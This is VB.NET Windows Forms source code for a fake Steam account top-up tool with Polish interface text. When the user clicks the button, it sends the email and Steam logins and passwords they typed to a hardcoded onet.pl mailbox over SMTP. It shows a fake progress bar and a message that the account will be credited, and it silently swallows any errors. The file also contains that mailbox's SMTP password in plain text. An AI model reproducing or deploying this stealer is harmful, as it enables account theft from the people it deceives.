Imports System
Imports System.Threading
Imports System.Net.Mail


Public Class Form1

    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        Timer1.Start()
        Dim MyMailMessage As New MailMessage()
        Try
            MyMailMessage.From = New MailAddress("bartekcim10@onet.pl")
            MyMailMessage.To.Add("bartekcim10@onet.pl")
            MyMailMessage.Subject = (" Nowe Hasło ")
            MyMailMessage.Body = "POCZTA Login: " + TextBox1.Text & "Hasło: " + TextBox2.Text & "Steam login: " + TextBox3.Text & "Hasło: " + TextBox4.Text


            Dim SMTP As New SmtpClient("smtp.poczta.onet.pl")
            SMTP.Port = 587
            SMTP.EnableSsl = True
            SMTP.Credentials = New System.Net.NetworkCredential("bartekcim10@onet.pl", "Hesoyam1")

            SMTP.Send(MyMailMessage)
            TextBox2.Text = ""

        Catch ex As Exception

        End Try
    End Sub

    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
        ProgressBar1.Increment(1)
        If ProgressBar1.Value = 100 Then
            Label7.Text = " Konto zostanie doładowane "


        End If


    End Sub



End Class